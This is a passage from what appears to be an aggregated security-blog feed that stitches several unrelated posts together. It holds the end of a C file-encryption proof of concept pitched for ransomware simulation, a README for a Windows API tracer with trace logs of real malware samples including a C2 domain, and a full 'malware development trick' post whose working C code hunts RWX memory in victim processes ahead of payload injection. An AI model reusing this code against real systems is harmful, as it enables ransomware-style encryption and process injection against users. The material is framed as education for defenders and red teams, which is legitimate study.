          printf("invalid padding found in the file.\n");
          free(padding);
          return;
        }
      }

      // truncate the file at the position of the last complete block
      SetEndOfFile(fileHandle);
    } else {
      // error reading the padding bytes, print an error message or handle it accordingly
      printf("error reading padding bytes from the file.\n");
    }

    free(padding);
  } else {
    // invalid padding size, print an error message or handle it accordingly
    printf("invalid padding size: %d\n", paddingSize);
  }
}

void encrypt_file(const char* inputFile, const char* outputFile, const char* key) {
  HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

  if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
    printf("error opening file.\n");
    return;
  }

  LARGE_INTEGER fileSize;
  GetFileSizeEx(ifh, &fileSize);

  unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
  DWORD bytesRead;
  ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);

  unsigned char keyData[A51_KEY_SIZE];
  memcpy(keyData, key, A51_KEY_SIZE);

  // calculate the padding size
  size_t paddingSize = (A51_BLOCK_SIZE - (fileSize.LowPart % A51_BLOCK_SIZE)) % A51_BLOCK_SIZE;

  // pad the file data
  size_t paddedSize = fileSize.LowPart + paddingSize;
  unsigned char* paddedData = (unsigned char*)malloc(paddedSize);
  memcpy(paddedData, fileData, fileSize.LowPart);
  memset(paddedData + fileSize.LowPart, static_cast<char>(paddingSize), paddingSize);

  // encrypt the padded data
  for (size_t i = 0; i < paddedSize; i += A51_BLOCK_SIZE) {
    a5_1_encrypt(keyData, A51_KEY_SIZE, paddedData + i, A51_BLOCK_SIZE, paddedData + i);
  }

  // write the encrypted data to the output file
  DWORD bw;
  WriteFile(ofh, paddedData, paddedSize, &bw, NULL);

  printf("a5/1 encryption successful\n");

  CloseHandle(ifh);
  CloseHandle(ofh);
  free(fileData);
  free(paddedData);
}

void decrypt_file(const char* inputFile, const char* outputFile, const char* key) {
  HANDLE ifh = CreateFileA(inputFile, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  HANDLE ofh = CreateFileA(outputFile, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

  if (ifh == INVALID_HANDLE_VALUE || ofh == INVALID_HANDLE_VALUE) {
    printf("error opening file.\n");
    return;
  }

  LARGE_INTEGER fileSize;
  GetFileSizeEx(ifh, &fileSize);

  unsigned char* fileData = (unsigned char*)malloc(fileSize.LowPart);
  DWORD bytesRead;
  ReadFile(ifh, fileData, fileSize.LowPart, &bytesRead, NULL);

  unsigned char keyData[A51_KEY_SIZE];
  memcpy(keyData, key, A51_KEY_SIZE);

  // decrypt the file data using A5/1 encryption
  for (DWORD i = 0; i < fileSize.LowPart; i += A51_BLOCK_SIZE) {
    a5_1_decrypt(keyData, A51_KEY_SIZE, fileData + i, A51_BLOCK_SIZE, fileData + i);
  }

  // calculate the padding size
  size_t paddingSize = fileData[fileSize.LowPart - 1];

  // validate and remove padding
  if (paddingSize <= A51_BLOCK_SIZE && paddingSize > 0) {
    size_t originalSize = fileSize.LowPart - paddingSize;
    unsigned char* originalData = (unsigned char*)malloc(originalSize);
    memcpy(originalData, fileData, originalSize);

    // write the decrypted data to the output file
    DWORD bw;
    WriteFile(ofh, originalData, originalSize, &bw, NULL);

    printf("a5/1 decryption successful\n");

    CloseHandle(ifh);
    CloseHandle(ofh);
    free(fileData);
    free(originalData);
  } else {
    // invalid padding size, print an error message or handle it accordingly
    printf("invalid padding size: %d\n", paddingSize);

    CloseHandle(ifh);
    CloseHandle(ofh);
    free(fileData);
  }
}

int main() {
  const char* inputFile = "Z:\\test.txt";
  const char* outputFile = "Z:\\test.txt.a51";
  const char* decryptedFile = "Z:\\test.txt.a51.decrypted";
  const char* key = "\x6d\x65\x6f\x77\x6d\x65\x6f\x77";
  encrypt_file(inputFile, outputFile, key);
  decrypt_file(outputFile, decryptedFile, key);
  return 0;
}

As you can see, as usual, for test I just encrypt file test.txt and decrypt it.

cat test.txt

cryptography

demo

Let’s see everything in action, compile our PoC code:

x86_64-w64-mingw32-g++ hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive

cryptography

and let’s say we have a test.txt file in the Z:\\ path on the victim’s machine:

hexdump -C test.txt

cryptography

cryptography

Then just run our application on Windows 11 x64 machine:

.\hack.exe

cryptography

Let’s check a decrypted and original files, for example via hexdump command:

hexdump -C test.txt.a51.decrypted

cryptography

As you can see our simple PoC is worked perfectly.

I hope this post spreads awareness to the blue teamers of this interesting encrypting technique, and adds a weapon to the red teamers arsenal and useful for adversary (ransomware) sumulation purposes.

A5/1
Malware AV/VM evasion part 14
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Gftrace - A Command Line Windows API Tracing Tool For Golang Binaries


A command line Windows API tracing tool for Golang binaries.

Note: This tool is a PoC and a work-in-progress prototype so please treat it as such. Feedbacks are always welcome!


How it works?

Although Golang programs contains a lot of nuances regarding the way they are built and their behavior in runtime they still need to interact with the OS layer and that means at some point they do need to call functions from the Windows API.

The Go runtime package contains a function called asmstdcall and this function is a kind of "gateway" used to interact with the Windows API. Since it's expected this function to call the Windows API functions we can assume it needs to have access to information such as the address of the function and it's parameters, and this is where things start to get more interesting.

Asmstdcall receives a single parameter which is pointer to something similar to the following structure:

struct LIBCALL {
DWORD_PTR Addr;
DWORD Argc;
DWORD_PTR Argv;
DWORD_PTR ReturnValue;

[...]
}

Some of these fields are filled after the API function is called, like the return value, others are received by asmstdcall, like the function address, the number of arguments and the list of arguments. Regardless when those are set it's clear that the asmstdcall function manipulates a lot of interesting information regarding the execution of programs compiled in Golang.

The gftrace leverages asmstdcall and the way it works to monitor specific fields of the mentioned struct and log it to the user. The tool is capable of log the function name, it's parameters and also the return value of each Windows function called by a Golang application. All of it with no need to hook a single API function or have a signature for it.

The tool also tries to ignore all the noise from the Go runtime initialization and only log functions called after it (i.e. functions from the main package).

If you want to know more about this project and research check the blogpost.

Installation

Download the latest release.

Usage

  1. Make sure gftrace.exe, gftrace.dll and gftrace.cfg are in the same directory.
  2. Specify which API functions you want to trace in the gftrace.cfg file (the tool does not work without API filters applied).
  3. Run gftrace.exe passing the target Golang program path as a parameter.
gftrace.exe <filepath> <params>

Configuration

All you need to do is specify which functions you want to trace in the gftrace.cfg file, separating it by comma with no spaces:

CreateFileW,ReadFile,CreateProcessW

The exact Windows API functions a Golang method X of a package Y would call in a specific scenario can only be determined either by analysis of the method itself or trying to guess it. There's some interesting characteristics that can be used to determine it, for example, Golang applications seems to always prefer to call functions from the "Wide" and "Ex" set (e.g. CreateFileW, CreateProcessW, GetComputerNameExW, etc) so you can consider it during your analysis.

The default config file contains multiple functions in which I tested already (at least most part of them) and can say for sure they can be called by a Golang application at some point. I'll try to update it eventually.

Examples

Tracing CreateFileW() and ReadFile() in a simple Golang file that calls "os.ReadFile" twice:

- CreateFileW("C:\Users\user\Desktop\doc.txt", 0x80000000, 0x3, 0x0, 0x3, 0x1, 0x0) = 0x168 (360)
- ReadFile(0x168, 0xc000108000, 0x200, 0xc000075d64, 0x0) = 0x1 (1)
- CreateFileW("C:\Users\user\Desktop\doc2.txt", 0x80000000, 0x3, 0x0, 0x3, 0x1, 0x0) = 0x168 (360)
- ReadFile(0x168, 0xc000108200, 0x200, 0xc000075d64, 0x0) = 0x1 (1)

Tracing CreateProcessW() in the TunnelFish malware:

- CreateProcessW("C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", "powershell /c "Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddress |  ft -hidetableheaders"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc0000ace98, 0xc0000acd68) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", "powershell /c "Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddress | ft -hidetableheaders"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc0000c4ec8, 0xc0000c4d98) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", "powershell /c "Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddres s | ft -hidetableheaders"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc00005eec8, 0xc00005ed98) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe", "powershell /c "Add-PSSnapin Microsoft.Exchange.Management.PowerShell.SnapIn; Get-Recipient | Select Name -ExpandProperty EmailAddresses -first 1 | Select SmtpAddress | ft -hidetableheaders"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc0000bce98, 0xc0000bcd68) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\system32\cmd.exe", "cmd /c "wmic computersystem get domain"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc0000c4ef0, 0xc0000c4dc0) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\system32\cmd.exe", "cmd /c "wmic computersystem get domain"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc0000acec0, 0xc0000acd90) = 0x1 (1)
- CreateProcessW("C:\WINDOWS\system32\cmd.exe", "cmd /c "wmic computersystem get domain"", 0x0, 0x0, 0x1, 0x80400, "=C:=C:\Users\user\Desktop", 0x0, 0xc0000bcec0, 0xc0000bcd90) = 0x1 (1)

[...]

Tracing multiple functions in the Sunshuttle malware:

- CreateFileW("config.dat.tmp", 0x80000000, 0x3, 0x0, 0x3, 0x1, 0x0) = 0xffffffffffffffff (-1)
- CreateFileW("config.dat.tmp", 0xc0000000, 0x3, 0x0, 0x2, 0x80, 0x0) = 0x198 (408)
- CreateFileW("config.dat.tmp", 0xc0000000, 0x3, 0x0, 0x3, 0x80, 0x0) = 0x1a4 (420)
- WriteFile(0x1a4, 0xc000112780, 0xeb, 0xc0000c79d4, 0x0) = 0x1 (1)
- GetAddrInfoW("reyweb.com", 0x0, 0xc000031f18, 0xc000031e88) = 0x0 (0)
- WSASocketW(0x2, 0x1, 0x0, 0x0, 0x0, 0x81) = 0x1f0 (496)
- WSASend(0x1f0, 0xc00004f038, 0x1, 0xc00004f020, 0x0, 0xc00004eff0, 0x0) = 0x0 (0)
- WSARecv(0x1f0, 0xc00004ef60, 0x1, 0xc00004ef48, 0xc00004efd0, 0xc00004ef18, 0x0) = 0xffffffff (-1)
- GetAddrInfoW("reyweb.com", 0x0, 0xc000031f18, 0xc000031e88) = 0x0 (0)
- WSASocketW(0x2, 0x1, 0x0, 0x0, 0x0, 0x81) = 0x200 (512)
- WSASend(0x200, 0xc00004f2b8, 0x1, 0xc00004f2a0, 0x0, 0xc00004f270, 0x0) = 0x0 (0)
- WSARecv(0x200, 0xc00004f1e0, 0x1, 0xc00004f1c8, 0xc00004f250, 0xc00004f198, 0x0) = 0xffffffff (-1)

[...]

Tracing multiple functions in the DeimosC2 framework agent:

- WSASocketW(0x2, 0x1, 0x0, 0x0, 0x0, 0x81) = 0x130 (304)
- setsockopt(0x130, 0xffff, 0x20, 0xc0000b7838, 0x4) = 0xffffffff (-1)
- socket(0x2, 0x1, 0x6) = 0x138 (312)
- WSAIoctl(0x138, 0xc8000006, 0xaf0870, 0x10, 0xb38730, 0x8, 0xc0000b746c, 0x0, 0x0) = 0x0 (0)
- GetModuleFileNameW(0x0, "C:\Users\user\Desktop\samples\deimos.exe", 0x400) = 0x2f (47)
- GetUserProfileDirectoryW(0x140, "C:\Users\user", 0xc0000b7a08) = 0x1 (1)
- LookupAccountSidw(0x0, 0xc00000e250, "user", 0xc0000b796c, "DESKTOP-TEST", 0xc0000b7970, 0xc0000b79f0) = 0x1 (1)
- NetUserGetInfo("DESKTOP-TEST", "user", 0xa, 0xc0000b7930) = 0x0 (0)
- GetComputerNameExW(0x5, "DESKTOP-TEST", 0xc0000b7b78) = 0x1 (1)
- GetAdaptersAddresses(0x0, 0x10, 0x0, 0xc000120000, 0xc0000b79d0) = 0x0 (0)
- CreateToolhelp32Snapshot(0x2, 0x0) = 0x1b8 (440)
- GetCurrentProcessId() = 0x2584 (9604)
- GetCurrentDirectoryW(0x12c, "C:\Users\user\AppData\Local\Programs\retoolkit\bin") = 0x39 (57 )

[...]

Future features:

  • [x] Support inspection of 32 bits files.
  • [x] Add support to files calling functions via the "IAT jmp table" instead of the API call directly in asmstdcall.
  • [x] Add support to cmdline parameters for the target process
  • [ ] Send the tracing log output to a file by default to make it better to filter. Currently there's no separation between the target file and gftrace output. An alternative is redirect gftrace output to a file using the command line.

:warning: Warning

  • The tool inspects the target binary dynamically and it means the file being traced is executed. If you're inspecting a malware or an unknown software please make sure you do it in a controlled environment.
  • Golang programs can be very noisy depending the file and/or function being traced (e.g. VirtualAlloc is always called multiple times by the runtime package, CreateFileW is called multiple times before a call to CreateProcessW, etc). The tool ignores the Golang runtime initialization noise but after that it's up to the user to decide what functions are better to filter in each scenario.

License

The gftrace is published under the GPL v3 License. Please refer to the file named LICENSE for more information.



Malware development trick 38: Hunting RWX - part 2. Target process investigation tricks. Simple C/C++ example.

1 May 2024 at 01:00

Hello, cybersecurity enthusiasts and white hackers!

malware

In one of my previous posts, I described a process injection method using RWX-memory searching logic. Today, I will apply the same logic, but with a new trick.

As you remember, the method is simple: we enumerate the presently running target processes on the victim’s system, scan through their allocated memory blocks to see if any are protected with RWX, and then write our payload to this memory block.

practical example

Today I will use a little bit different trick. Let’s say we are search specific process in the victim’s machine (for injection or for something else).

Let’s go to use a separate function for hunting RWX-memory region from the victim process, something like this:

int findRWX(HANDLE h) {

  MEMORY_BASIC_INFORMATION mbi = {};
  LPVOID addr = 0;

  // query remote process memory information
  while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
    addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);

    // look for RWX memory regions which are not backed by an image
    if (mbi.Protect == PAGE_EXECUTE_READWRITE
      && mbi.State == MEM_COMMIT
      && mbi.Type == MEM_PRIVATE)

      printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSize);
  }

  return 0;
}

Also a little bit update for our main logic: first of all, we are search specific process’ handle by it’s name:

typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
  _In_ HANDLE ProcessHandle,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE NewProcessHandle
);

int findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function address
  fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
      pid = GetProcessId(current);
      break;
    }
  }

  return current;
}

As you can see, we use NtGetNextProcess API for enumerating processes.

So the final source code is looks like this (hack.c):

/*
 * hack.c - hunting RWX memory
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html
*/
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <shlwapi.h>
#include <strsafe.h>
#include <winternl.h>

typedef NTSTATUS (NTAPI * fNtGetNextProcess)(
  _In_ HANDLE ProcessHandle,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE NewProcessHandle
);

int findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function address
  fNtGetNextProcess myNtGetNextProcess = (fNtGetNextProcess) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileName((LPCSTR) procName)) == 0) {
      pid = GetProcessId(current);
      break;
    }
  }

  return current;
}


int findRWX(HANDLE h) {

  MEMORY_BASIC_INFORMATION mbi = {};
  LPVOID addr = 0;

  // query remote process memory information
  while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
    addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);

    // look for RWX memory regions which are not backed by an image
    if (mbi.Protect == PAGE_EXECUTE_READWRITE
      && mbi.State == MEM_COMMIT
      && mbi.Type == MEM_PRIVATE)

      printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSize);
  }

  return 0;
}


int main(int argc, char* argv[]) {
  char procNameTemp[MAX_PATH];
  HANDLE h = NULL;
  int pid = 0;
  h = findMyProc(argv[1]);
  if (h) GetProcessImageFileNameA(h, procNameTemp, MAX_PATH);
  pid = GetProcessId(h);
  printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
  findRWX(h);
  CloseHandle(h);
  
  return 0;
}

demo

Let’s go to see everything in action. Compile our malware source code:

x86_64-w64-mingw32-g++ hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -w -lpsapi -lshlwapi

malware

And run it at the victim’s machine (Windows 11 x64 in my case):

malware

Try on another target process, for example OneDrive.exe:

malware

Our logic is worked, RWX-memory successfully founded!

As you can see, everything is worked perfectly! =^..^=

practical example 2

But there are the caveats. Sometimes we need to know is this process is .NET process or Java or something else (is it really OneDrive.exe process)?

For .NET process we need interesting trick, if we open powershell.exe via Process Hacker 2:

malware

As you can see, in the Handles tab we can find interesting section with name \BaseNamedObjects\Cor_Private_IPCBlock_v4_<PID>" in our case PID = 3156, so our string is equal \BaseNamedObjects\\Cor_Private_IPCBlock_v4_3156.

So, let’s update our function findMyProc, like this:

HANDLE findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function addresses
  fNtGetNextProcess_t myNtGetNextProcess = (fNtGetNextProcess_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
  fNtOpenSection_t myNtOpenSection = (fNtOpenSection_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtOpenSection");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileNameA(procName)) == 0) {
      pid = GetProcessId(current);
      
      // Check for "\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_<PID>" section
      UNICODE_STRING sName;
      OBJECT_ATTRIBUTES oa;
      HANDLE sHandle = NULL;
      WCHAR procNumber[32];

      WCHAR objPath[] = L"\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_";
      sName.Buffer = (PWSTR) malloc(500);

      // convert INT to WCHAR
      swprintf_s(procNumber, L"%d", pid);

      // and fill out UNICODE_STRING structure
      ZeroMemory(sName.Buffer, 500);
      memcpy(sName.Buffer, objPath, wcslen(objPath) * 2);   // add section name "prefix"
      StringCchCatW(sName.Buffer, 500, procNumber);      // and append with process ID
      sName.Length = wcslen(sName.Buffer) * 2;    // finally, adjust the string size
      sName.MaximumLength = sName.Length + 1;    
      
      InitializeObjectAttributes(&oa, &sName, OBJ_CASE_INSENSITIVE, NULL, NULL);
      NTSTATUS status = myNtOpenSection(&sHandle, SECTION_QUERY, &oa);
      if (NT_SUCCESS(status)) {
        CloseHandle(sHandle);
        break;
      }
    }
  }

  return current;
}

Just convert process id int to UNICODE STRING and concat, then try to find section logic.

Here, NtOpenSection API use for opens a handle for an existing section object:

typedef NTSTATUS (NTAPI * fNtOpenSection)(
  PHANDLE            SectionHandle,
  ACCESS_MASK        DesiredAccess,
  POBJECT_ATTRIBUTES ObjectAttributes
);

So, the full source code for this logic (finding .NET processes in the victim’s system) looks like this:

/*
 * hack2.c - hunting RWX memory
 * detect .NET process
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html
*/
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <shlwapi.h>
#include <strsafe.h>
#include <winternl.h>

typedef NTSTATUS (NTAPI * fNtGetNextProcess_t)(
  _In_ HANDLE ProcessHandle,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE NewProcessHandle
);

typedef NTSTATUS (NTAPI * fNtOpenSection_t)(
  PHANDLE            SectionHandle,
  ACCESS_MASK        DesiredAccess,
  POBJECT_ATTRIBUTES ObjectAttributes
);

HANDLE findMyProc(const char * procname) {
  int pid = 0;
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function addresses
  fNtGetNextProcess_t myNtGetNextProcess = (fNtGetNextProcess_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
  fNtOpenSection_t myNtOpenSection = (fNtOpenSection_t) GetProcAddress(GetModuleHandle("ntdll.dll"), "NtOpenSection");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileNameA(procName)) == 0) {
      pid = GetProcessId(current);
      
      // check for "\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_<PID>" section
      UNICODE_STRING sName;
      OBJECT_ATTRIBUTES oa;
      HANDLE sHandle = NULL;
      WCHAR procNumber[32];

      WCHAR objPath[] = L"\\BaseNamedObjects\\Cor_Private_IPCBlock_v4_";
      sName.Buffer = (PWSTR) malloc(500);

      // convert INT to WCHAR
      swprintf_s(procNumber, L"%d", pid);

      // and fill out UNICODE_STRING structure
      ZeroMemory(sName.Buffer, 500);
      memcpy(sName.Buffer, objPath, wcslen(objPath) * 2);   // add section name "prefix"
      StringCchCatW(sName.Buffer, 500, procNumber);      // and append with process ID
      sName.Length = wcslen(sName.Buffer) * 2;    // finally, adjust the string size
      sName.MaximumLength = sName.Length + 1;    
      
      InitializeObjectAttributes(&oa, &sName, OBJ_CASE_INSENSITIVE, NULL, NULL);
      NTSTATUS status = myNtOpenSection(&sHandle, SECTION_QUERY, &oa);
      if (NT_SUCCESS(status)) {
        CloseHandle(sHandle);
        break;
      }
    }
  }

  return current;
}



int findRWX(HANDLE h) {

  MEMORY_BASIC_INFORMATION mbi = {};
  LPVOID addr = 0;

  // query remote process memory information
  while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
    addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);

    // look for RWX memory regions which are not backed by an image
    if (mbi.Protect == PAGE_EXECUTE_READWRITE
      && mbi.State == MEM_COMMIT
      && mbi.Type == MEM_PRIVATE)

      printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSize);
  }

  return 0;
}


int main(int argc, char* argv[]) {
  char procNameTemp[MAX_PATH];
  HANDLE h = NULL;
  int pid = 0;
  h = findMyProc(argv[1]);
  if (h) GetProcessImageFileNameA(h, procNameTemp, MAX_PATH);
  pid = GetProcessId(h);
  printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
  findRWX(h);
  CloseHandle(h);
  
  return 0;
}

demo 2

Let’s go to see second example in action. Compile it:

x86_64-w64-mingw32-g++ hack2.c -o hack2.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lpsapi -lshlwapi -w

malware

Then just run it. Check on powershell.exe:

.\hack2.exe powershell.exe

malware

Now, second practical example worked as expected! Great! =^..^=

practical example 3

Ok, so what about previous question?

How we can check if the victim process is really OneDrive.exe process? It’s just in case, for example.

Let’s check OneDrive.exe process properties via Process Hacker 2:

malware

As you can see we can use the same trick: check section by it’s name: \Sessions\1\BaseNamedObjects\UrlZonesSM_test1. Of course, I could be wrong and the presence of this string does not guarantee that this is OneDrive.exe process. I just want to show that you can examine any process and try to find some indicators in the section names.

So, I updated my function again and full source code of my third example (hack3.c):

/*
 * hack.c - hunting RWX memory
 * @cocomelonc
 * https://cocomelonc.github.io/malware/2024/05/01/malware-trick-38.html
*/
#include <windows.h>
#include <stdio.h>
#include <psapi.h>
#include <shlwapi.h>
#include <strsafe.h>
#include <winternl.h>

typedef NTSTATUS (NTAPI * fNtGetNextProcess_t)(
  _In_ HANDLE ProcessHandle,
  _In_ ACCESS_MASK DesiredAccess,
  _In_ ULONG HandleAttributes,
  _In_ ULONG Flags,
  _Out_ PHANDLE NewProcessHandle
);

typedef NTSTATUS (NTAPI * fNtOpenSection_t)(
  PHANDLE            SectionHandle,
  ACCESS_MASK        DesiredAccess,
  POBJECT_ATTRIBUTES ObjectAttributes
);

HANDLE findMyProc(const char *procname) {
  HANDLE current = NULL;
  char procName[MAX_PATH];

  // resolve function addresses
  fNtGetNextProcess_t myNtGetNextProcess = (fNtGetNextProcess_t)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtGetNextProcess");
  fNtOpenSection_t myNtOpenSection = (fNtOpenSection_t)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtOpenSection");

  // loop through all processes
  while (!myNtGetNextProcess(current, MAXIMUM_ALLOWED, 0, 0, &current)) {
    GetProcessImageFileNameA(current, procName, MAX_PATH);
    if (lstrcmpiA(procname, PathFindFileNameA(procName)) == 0) {
      // check for "\Sessions\1\BaseNamedObjects\UrlZonesSM_test1" section
      UNICODE_STRING sName;
      OBJECT_ATTRIBUTES oa;
      HANDLE sHandle = NULL;

      WCHAR objPath[] = L"\\Sessions\\1\\BaseNamedObjects\\UrlZonesSM_test1";
      sName.Buffer = (PWSTR)objPath;
      sName.Length = wcslen(objPath) * sizeof(WCHAR);
      sName.MaximumLength = sName.Length + sizeof(WCHAR);

      InitializeObjectAttributes(&oa, &sName, OBJ_CASE_INSENSITIVE, NULL, NULL);
      NTSTATUS status = myNtOpenSection(&sHandle, SECTION_QUERY, &oa);
      if (NT_SUCCESS(status)) {
        CloseHandle(sHandle);
        break;
      }
    }
  }
  return current;
}

int findRWX(HANDLE h) {

  MEMORY_BASIC_INFORMATION mbi = {};
  LPVOID addr = 0;

  // query remote process memory information
  while (VirtualQueryEx(h, addr, &mbi, sizeof(mbi))) {
    addr = (LPVOID)((DWORD_PTR) mbi.BaseAddress + mbi.RegionSize);

    // look for RWX memory regions which are not backed by an image
    if (mbi.Protect == PAGE_EXECUTE_READWRITE
      && mbi.State == MEM_COMMIT
      && mbi.Type == MEM_PRIVATE)

      printf("found RWX memory: 0x%x - %#7llu bytes region\n", mbi.BaseAddress, mbi.RegionSize);
  }

  return 0;
}


int main(int argc, char* argv[]) {
  char procNameTemp[MAX_PATH];
  HANDLE h = NULL;
  int pid = 0;
  h = findMyProc(argv[1]);
  if (h) GetProcessImageFileNameA(h, procNameTemp, MAX_PATH);
  pid = GetProcessId(h);
  printf("%s%d\n", pid > 0 ? "process found at pid = " : "process not found. pid = ", pid);
  findRWX(h);
  CloseHandle(h);
  
  return 0;
}

As you can see, the logic is simple: check section name and try to open it.

demo 3

Let’s go to see third example in action. Compile it:

x86_64-w64-mingw32-g++ hack3.c -o hack3.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive -lpsapi -lshlwapi -w

malware

Then, run it on the victim’s machine:

.\hack3.exe OneDrive.exe

malware

As you can see, everything is worked perfectly again!

If anyone has seen a similar trick in real malware and APT, please write to me, maybe I didn’t look well, it seems to me that this is a technique already known to attackers.

I hope this post spreads awareness to the blue teamers of this interesting process investigation technique, and adds a weapon to the red teamers arsenal.

Process injection via RWX-memory hunting. Simple C++ example.
Malware development trick - part 30: Find PID via NtGetNextProcess. Simple C++ example.
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!

CrimsonEDR - Simulate The Behavior Of AV/EDR For Malware Development Training

By: Zion3R
28 April 2024 at 12:30


CrimsonEDR is an open-source project engineered to identify specific malware patterns, offering a tool for honing skills in circumventing Endpoint Detection and Response (EDR). By leveraging diverse detection methods, it empowers users to deepen their understanding of security evasion tactics.


Features

Detection Description
Direct Syscall Detects the usage of direct system calls, often employed by malware to bypass traditional API hooks.
NTDLL Unhooking Identifies attempts to unhook functions within the NTDLL library, a common evasion technique.
AMSI Patch Detects modifications to the Anti-Malware Scan Interface (AMSI) through byte-level analysis.
ETW Patch Detects byte-level alterations to Event Tracing for Windows (ETW), commonly manipulated by malware to evade detection.
